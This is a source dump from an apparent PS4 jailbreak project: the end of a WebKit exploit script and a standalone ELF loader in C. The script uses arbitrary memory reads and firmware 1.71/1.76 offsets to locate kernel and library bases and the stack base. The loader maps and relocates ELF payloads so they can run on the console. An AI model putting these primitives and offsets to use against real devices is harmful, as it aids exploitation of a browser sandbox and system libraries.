526 | if (rdata_base == 0 || 527 | rdata_size == 0 || 528 | import_base == 0 || 529 | import_size == 0) { 530 | logAdd('jit kicked in? skipping...'); 531 | } else { 532 | module_infos[n] = { 533 | name : name, 534 | image_base : rdata_base, 535 | image_size : rdata_size + import_size, 536 | image_end : rdata_base + rdata_size + import_size, 537 | text_start : rdata_base, 538 | text_size : rdata_size, 539 | text_end : rdata_base + rdata_size, 540 | idata_start : import_base, 541 | idata_size : import_size, 542 | idata_end : import_base + import_size, 543 | }; 544 | } 545 | // somehow adding the constant instead of reading the value 546 | // tends to avoid the jit problem 547 | //modinfo_ptr = read64(modinfo_ptr + 0); 548 | modinfo_ptr += 0x1c0; 549 | n++; 550 | } 551 | 552 | var libsysmodule_base = getU64from(xx+0x17E8); 553 | 554 | //get libkernel base 555 | //xx = getU64from(xx+0xdd8); //1.71 556 | xx = getU64from(xx+0x1468); //1.76 557 | //var libkernel_base = xx; 558 | 559 | setBase(xx); 560 | 561 | //get stack base 562 | //xx = getU64from(xx+0x3D890); //1.76 webkit2 stack? 563 | xx = getU64from(xx+0x5B278); //1.76 webprocess stack 564 | //yy = getU64from(xx+0x5AA70); //1.71 565 | window.stack_base = xx - 0x4000; 566 | //yy = getU64from(xx+0x5AA70); 567 | 568 | 569 | // Defining modules 570 | libkernel = module_infos[LIBKERNEL]; 571 | libSceLibcInternal = module_infos[LIBC]; 572 | libSceSysmodule = module_infos[LIBSYSMODULE]; 573 | libSceNet = module_infos[SCENET]; 574 | libSceNetCtl = module_infos[SCENETCTL]; 575 | libSceIpmi = module_infos[SCEIPMI]; 576 | libSceMbus = module_infos[SCEMBUS]; 577 | libSceRegMgr = module_infos[SCEREGMGR]; 578 | libSceRtc = module_infos[SCERTC]; 579 | libScePad = module_infos[SCEPAD]; 580 | libSceVideoOut = module_infos[SCEVIDEOOUT]; 581 | libScePigletv2VSH = module_infos[SCEPIGLET]; 582 | libSceOrbisCompat = module_infos[SCEORBISCOMPAT]; 583 | libSceWebKit2 = module_infos[WEBKIT2]; 584 | libSceSysCore = module_infos[SCESYSCORE]; 585 | libSceSsl = module_infos[SCESSL]; 586 | libSceVideoCoreServerInterface = module_infos[SCEVIDEOCORESERVICE]; 587 | libSceSystemService = module_infos[SCESYSTEMSERVICE]; 588 | libSceCompositeExt = module_infos[SCECOMPOSITEEXT]; 589 | 590 | logAdd("libkernel Base = 0x" + libkernel.image_base.toString(16)); 591 | logAdd("libSceLibcinternal Base = 0x" + libSceLibcInternal.image_base.toString(16)); 592 | logAdd("Stack Base = 0x" + stack_base.toString(16)); 593 | 594 | logAdd("Refresh this page between calls to avoid instability and crashes. Enjoy..."); 595 | 596 | window.return_va = 0x2b38; //1.76 597 | } 598 | catch(e) { 599 | logAdd(e); 600 | } 601 | 602 | return 0; 603 | } 604 | -------------------------------------------------------------------------------- /ps4/source/elfloader.c: -------------------------------------------------------------------------------- 1 | #ifdef ElfLoaderStandalone 2 | 3 | #include 4 | #include 5 | 6 | #include "elfloader.h" 7 | 8 | /* Defines */ 9 | 10 | #define elfRelocationSymbol __ELFN(R_SYM) 11 | #define elfRelocationType __ELFN(R_TYPE) 12 | #define elfRelocationInfo __ELFN(R_INFO) 13 | 14 | #define elfSymbolBind __ELFN(ST_BIND) 15 | #define elfSymbolType __ELFN(ST_TYPE) 16 | #define elfSymbolInfo __ELFN(ST_INFO) 17 | 18 | #define elfIsElf(e) IS_ELF(*elfHeader(e)) // FIXME: Null deref 19 | 20 | #define elfClass(e) (e == NULL ? 0 : e->data[4]) 21 | #define elfEncoding(e) (e == NULL ? 0 : e->data[5]) 22 | #define elfVersion(e) (e == NULL ? 0 : e->data[6]) 23 | #define elfABI(e) (e == NULL ? 0 : e->data[7]) 24 | 25 | /* Constants */ 26 | 27 | enum{ ElfMaximalStringLength = 4096 }; 28 | 29 | /* Type */ 30 | 31 | typedef struct Elf 32 | { 33 | uint8_t *data; 34 | size_t size; // FIXME: Do more checks on size 35 | } 36 | Elf; 37 | 38 | /* --- elf header --- */ 39 | 40 | ElfHeader *elfHeader(Elf *elf) 41 | { 42 | if(!elf) 43 | return NULL; 44 | return (ElfHeader *)elf->data; 45 | } 46 | 47 | uint64_t elfEntry(Elf *elf) 48 | { 49 | if(!elf) 50 | return 0; 51 | ElfHeader *h = elfHeader(elf); 52 | if(!h) 53 | return 0; 54 | return h->e_entry; 55 | } 56 | 57 | uint64_t elfLargestAlignment(Elf *elf) //ignore ... 58 | { 59 | uint16_t index = 0; 60 | uint64_t alignment = 0; 61 | 62 | while(1) 63 | { 64 | ElfSegment *h = elfSegment(elf, &index, ElfSegmentAttributeType, PT_LOAD); 65 | if(!h) 66 | break; 67 | 68 | // FIXME: Tired of bogus 2MB alignment -> ignore 69 | if(alignment < h->p_align && h->p_align < 0x200000) 70 | alignment = h->p_align; 71 | ++index; 72 | } 73 | return alignment; 74 | } 75 | 76 | size_t elfMemorySize(Elf *elf) 77 | { 78 | ElfSection *sections; 79 | ElfSegment *segments; 80 | 81 | uint16_t size; 82 | uint16_t length; 83 | uint16_t index; 84 | 85 | size_t memorySize = 0; 86 | 87 | if(!elf) 88 | return 0; 89 | 90 | segments = elfSegments(elf, &size, &length); 91 | if(segments) 92 | { 93 | for(index = 0; index < length; ++index) 94 | { 95 | ElfSegment *s = (ElfSegment *)((uint8_t *)segments + index * size); 96 | if(memorySize < s->p_paddr + s->p_memsz) 97 | memorySize = s->p_paddr + s->p_memsz; 98 | } 99 | } 100 | else 101 | { 102 | length = 0; 103 | sections = elfSections(elf, &size, &length); 104 | if(!sections) 105 | return 0; 106 | for(index = 0; index < length; ++index) 107 | { 108 | ElfSection *s = (ElfSection *)((uint8_t *)sections + index * size); 109 | if(memorySize < s->sh_addr + s->sh_size) 110 | memorySize = s->sh_addr + s->sh_size; 111 | } 112 | } 113 | 114 | return memorySize; 115 | } 116 | 117 | /* --- elf section header --- */ 118 | 119 | char *elfSectionStrings(Elf *elf, uint64_t *size) 120 | { 121 | ElfHeader *h; 122 | uint16_t i; 123 | ElfSection *s; 124 | h = elfHeader(elf); 125 | i = h->e_shstrndx; 126 | s = elfSection(elf, &i, ElfSectionAttributeNone, 0); 127 | if(size) 128 | *size = s->sh_size; 129 | return (char *)elf->data + s->sh_offset; 130 | } 131 | 132 | uint64_t elfSectionAttribute(ElfSection *elfSection, ElfSectionAttribute attribute) 133 | { 134 | switch(attribute) 135 | { 136 | case ElfSectionAttributeName: 137 | return elfSection->sh_name; 138 | case ElfSectionAttributeType: 139 | return elfSection->sh_type; 140 | case ElfSectionAttributeFlags: 141 | return elfSection->sh_flags; 142 | case ElfSectionAttributeAddress: 143 | return elfSection->sh_addr; 144 | case ElfSectionAttributeOffset: 145 | return elfSection->sh_offset; 146 | case ElfSectionAttributeSize: 147 | return elfSection->sh_size; 148 | case ElfSectionAttributeLink: 149 | return elfSection->sh_link; 150 | case ElfSectionAttributeInfo: 151 | return elfSection->sh_info; 152 | case ElfSectionAttributeMemoryAlignment: 153 | return elfSection->sh_addralign; 154 | case ElfSectionAttributeEntrySize: 155 | return elfSection->sh_entsize; 156 | default: 157 | break; 158 | } 159 | return 0; 160 | } 161 | 162 | ElfSection *elfSections(Elf *elf, uint16_t *size, uint16_t *length) 163 | { 164 | ElfHeader *h; 165 | 166 | if(!elf) 167 | return NULL; 168 | 169 | h = elfHeader(elf); 170 | 171 | if(h->e_shoff == 0) 172 | return NULL; 173 | 174 | if(size != NULL) 175 | *size = h->e_shentsize; 176 | if(length != NULL) 177 | *length = h->e_shnum; 178 | 179 | return (ElfSection *)(elf->data + h->e_shoff); 180 | } 181 | 182 | ElfSection *elfSection(Elf *elf, uint16_t *index, ElfSectionAttribute attribute, uint64_t value) 183 | { 184 | uint16_t size; 185 | uint16_t length; 186 | ElfSection *h, *t; 187 | uint16_t i = 0; 188 | 189 | if(!index) 190 | index = &i; 191 | 192 | h = elfSections(elf, &size, &length); 193 | 194 | if(!h) 195 | return NULL; 196 | 197 | for(; *index < length; ++(*index)) 198 | { 199 | t = (ElfSection *)((uint8_t *)h + *index * size); 200 | if(attribute == ElfSectionAttributeNone || elfSectionAttribute(t, attribute) == value) 201 | return t; 202 | } 203 | 204 | return NULL; 205 | } 206 | 207 | ElfSection *elfSectionByName(Elf *elf, char *name) 208 | { 209 | uint64_t size; 210 | char *mem = elfSectionStrings(elf, &size); 211 | 212 | uint32_t offset = elfStringToOffset(mem, size, name); 213 | ElfSection *sh = elfSection(elf, NULL, ElfSectionAttributeName, offset); 214 | 215 | return sh; 216 | } 217 | 218 | /* --- elf segment header --- */ 219 | 220 | uint64_t elfSegmentAttribute(ElfSegment *elfSegment, ElfSegmentAttribute attribute) 221 | { 222 | switch(attribute) 223 | { 224 | case ElfSegmentAttributeType: 225 | return elfSegment->p_type; 226 | case ElfSegmentAttributeFlags: 227 | return elfSegment->p_flags; 228 | case ElfSegmentAttributeOffset: 229 | return elfSegment->p_offset; 230 | case ElfSegmentAttributeVirtualAddress: 231 | return elfSegment->p_vaddr; 232 | case ElfSegmentAttributePhysicalAddress: 233 | return elfSegment->p_paddr; 234 | case ElfSegmentAttributeFileSize: 235 | return elfSegment->p_filesz; 236 | case ElfSegmentAttributeMemorySize: 237 | return elfSegment->p_memsz; 238 | case ElfSegmentAttributeAlignment: 239 | return elfSegment->p_align; 240 | default: 241 | break; 242 | } 243 | return 0; 244 | } 245 | 246 | ElfSegment *elfSegments(Elf *elf, uint16_t *size, uint16_t *length) 247 | { 248 | ElfHeader *h; 249 | 250 | if(!elf) 251 | return NULL; 252 | 253 | h = elfHeader(elf); 254 | 255 | if(h->e_phoff == 0) 256 | return NULL; 257 | 258 | if(size != NULL) 259 | *size = h->e_phentsize; 260 | if(length != NULL) 261 | *length = h->e_phnum; 262 | 263 | return (ElfSegment *)(elf->data + h->e_phoff); 264 | } 265 | 266 | ElfSegment *elfSegment(Elf *elf, uint16_t *index, ElfSegmentAttribute attribute, uint64_t value) 267 | { 268 | uint16_t size; 269 | uint16_t length; 270 | ElfSegment *h, *t; 271 | uint16_t i = 0; 272 | 273 | if(!index) 274 | index = &i; 275 | 276 | h = elfSegments(elf, &size, &length); 277 | 278 | if(!h) 279 | return NULL; 280 | 281 | for(; *index < length; ++(*index)) 282 | { 283 | t = (ElfSegment *)((uint8_t *)h + *index * size); 284 | if(attribute == ElfSegmentAttributeNone || elfSegmentAttribute(t, attribute) == value) 285 | return t; 286 | } 287 | 288 | return NULL; 289 | } 290 | 291 | /* --- elf dynamic section --- */ 292 | 293 | uint64_t elfDynamicAttribute(ElfDynamic *elfDynamic, ElfDynamicAttribute attribute) 294 | { 295 | switch(attribute) 296 | { 297 | case ElfDynamicAttributeTag: 298 | return elfDynamic->d_tag; 299 | case ElfDynamicAttributeValue: 300 | return elfDynamic->d_un.d_val; 301 | case ElfDynamicAttributePointer: 302 | return elfDynamic->d_un.d_ptr; 303 | default: 304 | break; 305 | } 306 | return 0; 307 | } 308 | 309 | ElfDynamic *elfDynamics(Elf *elf, uint16_t *size, uint16_t *length) 310 | { 311 | ElfSection *h; 312 | ElfSegment *h2; 313 | 314 | if(!elf) 315 | return NULL; 316 | 317 | if((h = elfSection(elf, NULL, ElfSectionAttributeType, SHT_DYNAMIC))) 318 | { 319 | if(size != NULL) 320 | *size = h->sh_entsize; 321 | if(length != NULL) 322 | *length = h->sh_size / h->sh_entsize; 323 | 324 | return (ElfDynamic *)(elf->data + h->sh_offset); 325 | } 326 | else if((h2 = elfSegment(elf, NULL, ElfSegmentAttributeType, SHT_DYNAMIC))) 327 | { 328 | if(size != NULL) 329 | *size = sizeof(ElfDynamic); 330 | if(length != NULL) 331 | *length = h2->p_filesz / sizeof(ElfDynamic); 332 | 333 | return (ElfDynamic *)(elf->data + h2->p_offset); 334 | } 335 | 336 | return NULL; 337 | } 338 | 339 | ElfDynamic *elfDynamic(Elf *elf, uint16_t *index, ElfDynamicAttribute attribute, uint64_t value) 340 | { 341 | uint16_t size; 342 | uint16_t length; 343 | ElfDynamic *h, *t; 344 | uint16_t i = 0; 345 | 346 | if(!index) 347 | index = &i; 348 | 349 | h = elfDynamics(elf, &size, &length); 350 | 351 | if(!h) 352 | return NULL; 353 | 354 | for(; *index < length; ++(*index)) 355 | { 356 | t = (ElfDynamic *)((uint8_t *)h + *index * size); 357 | if(attribute == ElfDynamicAttributeNone || elfDynamicAttribute(t, attribute) == value) 358 | return t; 359 | } 360 | 361 | return NULL; 362 | } 363 | 364 | /* --- elf string tables --- */ 365 | 366 | char *elfStringFromIndex(char *mem, uint64_t size, uint32_t index) 367 | { 368 | uint64_t i, j = 0; 369 | 370 | if(!mem) 371 | return NULL; 372 | 373 | if(index == 0) 374 | return mem; 375 | 376 | for(i = 0; i < size - 1; ++i) 377 | if(mem[i] == '\0' && ++j == index) 378 | return mem + i + 1; 379 | 380 | return NULL; 381 | } 382 | 383 | char *elfStringFromOffset(char *mem, uint64_t size, uint32_t offset) 384 | { 385 | if(!mem || offset >= size) 386 | return NULL; 387 | 388 | return mem + offset; 389 | } 390 | 391 | uint32_t elfStringToOffset(char *mem, uint64_t size, char *str) 392 | { 393 | uint64_t i, j; 394 | 395 | if(!str) 396 | return 0; 397 | 398 | for(i = 0; i < size; ++i) 399 | { 400 | for(j = 0; j < ElfMaximalStringLength && mem[i + j] == str[j]; ++j) 401 | if(str[j] == '\0') 402 | return i; 403 | } 404 | 405 | return 0; 406 | } 407 | 408 | uint32_t elfStringToIndex(char *mem, uint64_t size, char *str) 409 | { 410 | uint64_t index, i, j; 411 | 412 | if(!str) 413 | return 0; 414 | 415 | index = 0; 416 | for(i = 0; i < size; ++i) 417 | { 418 | for(j = 0; j < ElfMaximalStringLength && mem[i + j] == str[j]; ++j) 419 | if(str[j] == '\0') 420 | return index; 421 | 422 | if(mem[i] == '\0') 423 | index++; 424 | } 425 | 426 | return 0; 427 | } 428 | 429 | /* --- elf relocations --- */ 430 | 431 | uint64_t elfAddendRelocationAttribute(ElfAddendRelocation *elfAddendRelocation, ElfAddendRelocationAttribute attribute) 432 | { 433 | switch(attribute) 434 | { 435 | case ElfAddendRelocationAttributeInfo: 436 | return elfAddendRelocation->r_info; 437 | case ElfAddendRelocationAttributeOffset: 438 | return elfAddendRelocation->r_offset; 439 | case ElfAddendRelocationAttributeAddend: 440 | return elfAddendRelocation->r_addend; 441 | default: 442 | break; 443 | } 444 | return 0; 445 | } 446 | 447 | ElfAddendRelocation *elfAddendRelocations(Elf *elf, char *name, uint16_t *size, uint16_t *length) 448 | { 449 | ElfSection *h; 450 | 451 | h = elfSectionByName(elf, name); 452 | 453 | if(!h || h->sh_type != SHT_RELA) 454 | return NULL; 455 | 456 | if(size != NULL) 457 | *size = h->sh_entsize; 458 | if(length != NULL) 459 | *length = h->sh_size / h->sh_entsize; 460 | 461 | return (ElfAddendRelocation *)(elf->data + h->sh_offset); 462 | } 463 | 464 | // FIXME this is not performant, better to pass in the base ElfAddendRelocation *, size and length 465 | /* 466 | ElfAddendRelocation *elfAddendRelocation(Elf *elf, char *name, uint16_t *index, ElfAddendRelocationAttribute attribute, uint64_t value) 467 | { 468 | uint16_t size; 469 | uint16_t length; 470 | ElfAddendRelocation *h, *t; 471 | uint16_t i = 0; 472 | 473 | if(!index) 474 | index = &i; 475 | 476 | h = elfAddendRelocations(elf, name, &size, &length); 477 | 478 | if(!h) 479 | return NULL; 480 | 481 | for(; *index < length; ++(*index)) 482 | { 483 | t = (ElfAddendRelocation *)((uint8_t *)h + *index * size); 484 | if(attribute == ElfAddendRelocationAttributeNone || elfAddendRelocationAttribute(t, attribute) == value) 485 | return t; 486 | } 487 | 488 | return NULL; 489 | } 490 | */ 491 | 492 | /* --- elf symbols --- */ 493 | 494 | uint64_t elfSymbolAttribute(ElfSymbol *elfSymbol, ElfSymbolAttribute attribute) 495 | { 496 | switch(attribute) 497 | { 498 | case ElfSymbolAttributeName: 499 | return elfSymbol->st_name; 500 | case ElfSymbolAttributeInfo: 501 | return elfSymbol->st_info; 502 | case ElfSymbolAttributeUnused: 503 | return elfSymbol->st_other; 504 | case ElfSymbolAttributeSectionIndex: 505 | return elfSymbol->st_shndx; 506 | case ElfSymbolAttributeValue: 507 | return elfSymbol->st_value; 508 | case ElfSymbolAttributeSize: 509 | return elfSymbol->st_size; 510 | default: 511 | break; 512 | } 513 | return 0; 514 | } 515 | 516 | ElfSymbol *elfSymbols(Elf *elf, char *name, uint16_t *size, uint16_t *length) 517 | { 518 | ElfSection *h; 519 | 520 | h = elfSectionByName(elf, name); 521 | 522 | if(!h || (h->sh_type != SHT_SYMTAB && h->sh_type != SHT_DYNSYM)) 523 | return NULL; 524 | 525 | if(size != NULL) 526 | *size = h->sh_entsize; 527 | if(length != NULL) 528 | *length = h->sh_size / h->sh_entsize; 529 | 530 | return (ElfSymbol *)(elf->data + h->sh_offset); 531 | } 532 | 533 | /* 534 | ElfSymbol *elfSymbol(Elf *elf, char *name, uint16_t *index, ElfSymbolAttribute attribute, uint64_t value) 535 | { 536 | uint16_t size; 537 | uint16_t length; 538 | ElfSymbol *h, *t; 539 | uint16_t i = 0; 540 | 541 | if(!index) 542 | index = &i; 543 | 544 | h = elfSymbols(elf, name, &size, &length); 545 | 546 | if(!h) 547 | return NULL; 548 | 549 | for(; *index < length; ++(*index)) 550 | { 551 | t = (ElfSymbol *)((uint8_t *)h + *index * size); 552 | if(attribute == ElfSymbolAttributeNone || elfSymbolAttribute(t, attribute) == value) 553 | return t; 554 | } 555 | 556 | return NULL; 557 | }*/ 558 | 559 | /* actions */ 560 | 561 | Elf *elfCreate(void *data, size_t size) 562 | { 563 | Elf *elf, t; 564 | 565 | if(data == NULL) 566 | return NULL; 567 | 568 | t.data = data; 569 | t.size = size; 570 | 571 | if(!elfIsElf(&t)) 572 | return NULL; 573 | 574 | elf = malloc(sizeof(Elf)); 575 | elf->data = (uint8_t *)data; 576 | elf->size = size; 577 | 578 | return elf; 579 | } 580 | 581 | void *elfDestroy(Elf *elf) 582 | { 583 | void *data; 584 | 585 | if(elf == NULL) 586 | return NULL; 587 | 588 | data = elf->data; 589 | free(elf); 590 | 591 | return data; 592 | } 593 | 594 | void elfDestroyAndFree(Elf *elf) 595 | { 596 | void *d; 597 | 598 | if(elf == NULL) 599 | return; 600 | 601 | d = elfDestroy(elf); 602 | if(d) 603 | free(d); 604 | } 605 | 606 | /* --- --- */ 607 | 608 | int elfLoaderIsLoadable(Elf *elf) 609 | { 610 | ElfHeader *h; 611 | 612 | if(!elfIsElf(elf)) 613 | return 0; 614 | 615 | h = elfHeader(elf); 616 | 617 | return elfClass(elf) == ELFCLASS64 && 618 | elfEncoding(elf) == ELFDATA2LSB && 619 | elfVersion(elf) == EV_CURRENT && 620 | (elfABI(elf) == ELFOSABI_SYSV || elfABI(elf) == ELFOSABI_FREEBSD) && 621 | h->e_type == ET_DYN && 622 | h->e_phoff != 0 && 623 | h->e_shoff != 0 && 624 | h->e_machine == EM_X86_64 && 625 | h->e_version == EV_CURRENT; 626 | } 627 | 628 | int elfLoaderInstantiate(Elf *elf, void *memory) 629 | { 630 | ElfSection *sections; 631 | ElfSegment *segments; 632 | 633 | uint16_t size; 634 | uint16_t length; 635 | uint16_t index; 636 | 637 | if(elf == NULL) 638 | return ElfLoaderReturnElfNull; 639 | if(memory == NULL) 640 | return ElfLoaderReturnWritableMemoryNull; 641 | 642 | segments = elfSegments(elf, &size, &length); 643 | if(segments) 644 | { 645 | for(index = 0; index < length; ++index) 646 | { 647 | ElfSegment *s = (ElfSegment *)((uint8_t *)segments + index * size); 648 | if(s->p_filesz) 649 | memcpy((char *)memory + s->p_paddr, elf->data + s->p_offset, s->p_filesz); 650 | if(s->p_memsz - s->p_filesz) 651 | memset((char *)memory + s->p_paddr + s->p_filesz, 0, s->p_memsz - s->p_filesz); 652 | } 653 | } 654 | else 655 | { 656 | length = 0; 657 | sections = elfSections(elf, &size, &length); 658 | if(!sections) 659 | return 0; 660 | for(index = 0; index < length; ++index) 661 | { 662 | ElfSection *s = (ElfSection *)((uint8_t *)sections + index * size); 663 | if(!(s->sh_flags & SHF_ALLOC)) 664 | continue; 665 | if(s->sh_size) 666 | memcpy((char *)memory + s->sh_addr, elf->data + s->sh_offset, s->sh_size); 667 | } 668 | } 669 | 670 | return ElfLoaderReturnOK; 671 | } 672 | 673 | int elfLoaderRelativeAddressIsExecutable(Elf *elf, uint64_t address) 674 | { 675 | ElfSection *sections; 676 | ElfSegment *segments; 677 | 678 | uint16_t size; 679 | uint16_t length; 680 | uint16_t index; 681 | 682 | if(elf == NULL) 683 | return 0; 684 | 685 | segments = elfSegments(elf, &size, &length); 686 | if(segments) 687 | { 688 | for(index = 0; index < length; ++index) 689 | { 690 | ElfSegment *s = (ElfSegment *)((uint8_t *)segments + index * size); 691 | if(address >= s->p_paddr && address <= s->p_paddr + s->p_memsz) 692 | return s->p_flags & PF_X; 693 | } 694 | } 695 | else 696 | { 697 | length = 0; 698 | sections = elfSections(elf, &size, &length); 699 | if(!sections) 700 | return ElfLoaderReturnNoSectionsOrSegments; 701 | for(index = 0; index < length; ++index) 702 | { 703 | ElfSection *s = (ElfSection *)((uint8_t *)sections + index * size); 704 | if(address >= s->sh_addr && address <= s->sh_addr + s->sh_size) 705 | return s->sh_flags & SHF_EXECINSTR; 706 | } 707 | } 708 | 709 | return 1; // FIXME: Recheck 710 | } 711 | 712 | int elfLoaderRelocate(Elf *elf, void *writable, void *executable) 713 | { 714 | int i, j; 715 | 716 | uint16_t relocationSize = 0; 717 | uint16_t relocationsLength = 0; 718 | ElfAddendRelocation *relocations; 719 | 720 | uint16_t dynamicSymbolSize = 0; 721 | uint16_t dynamicSymbolsLength = 0; 722 | ElfSymbol *dynamicSymbols; 723 | 724 | char *rel[2] = {".rela.dyn", ".rela.plt"}; 725 | 726 | if(elf == NULL) 727 | return ElfLoaderReturnElfNull; 728 | if(writable == NULL) 729 | return ElfLoaderReturnWritableMemoryNull; 730 | if(executable == NULL) 731 | return ElfLoaderReturnExecutableMemoryNull; 732 | 733 | dynamicSymbols = elfSymbols(elf, ".dynsym", &dynamicSymbolSize, &dynamicSymbolsLength); 734 | //symbols = elfSymbols(elf, ".symtab", &symbolSize, &symbolsLength); 735 | 736 | for(j = 0; j < sizeof(rel) / sizeof(rel[0]); ++j) 737 | { 738 | relocationsLength = 0; 739 | relocations = elfAddendRelocations(elf, rel[j], &relocationSize, &relocationsLength); 740 | 741 | for(i = 0; i < relocationsLength; ++i) 742 | { 743 | ElfSymbol *symbol; 744 | ElfAddendRelocation *relocation = (ElfAddendRelocation *)(((uint8_t *)relocations) + relocationSize * i); 745 | uint16_t relocationType = (uint16_t)elfRelocationType(relocation->r_info); 746 | uint16_t relocationSymbol = (uint16_t)elfRelocationSymbol(relocation->r_info); 747 | uint64_t *offset = (uint64_t*)((char *)writable + relocation->r_offset); 748 | uint64_t value = 0; 749 | 750 | switch(relocationType) 751 | { 752 | case R_X86_64_RELATIVE: 753 | value = relocation->r_addend; 754 | break; 755 | case R_X86_64_64: 756 | symbol = (ElfSymbol *)(((uint8_t *)dynamicSymbols) + dynamicSymbolSize * relocationSymbol); 757 | value = symbol->st_value + relocation->r_addend; 758 | break; 759 | case R_X86_64_JMP_SLOT: 760 | case R_X86_64_GLOB_DAT: 761 | symbol = (ElfSymbol *)(((uint8_t *)dynamicSymbols) + dynamicSymbolSize * relocationSymbol); 762 | value = symbol->st_value; 763 | break; 764 | default: 765 | return ElfLoaderReturnUnknownRelocation; 766 | } 767 | 768 | if(elfLoaderRelativeAddressIsExecutable(elf, value)) 769 | *offset = (uint64_t)executable + value; 770 | else 771 | *offset = (uint64_t)writable + value; 772 | } 773 | } 774 | 775 | return ElfLoaderReturnOK; 776 | } 777 | 778 | int elfLoaderLoad(Elf *elf, void *writable, void *executable) 779 | { 780 | int r = ElfLoaderReturnOK; 781 | 782 | if(elf == NULL) 783 | return ElfLoaderReturnElfNull; 784 | if(writable == NULL) 785 | return ElfLoaderReturnWritableMemoryNull; 786 | if(executable == NULL) 787 | return ElfLoaderReturnExecutableMemoryNull; 788 | 789 | if(!elfLoaderIsLoadable(elf)) 790 | return ElfLoaderReturnIsNotLoadable; 791 | 792 | if((r = elfLoaderInstantiate(elf, writable)) != ElfLoaderReturnOK) 793 | return r; 794 | 795 | r = elfLoaderRelocate(elf, writable, executable); 796 | 797 | return r; 798 | } 799 | 800 | #endif 801 | --------------------------------------------------------------------------------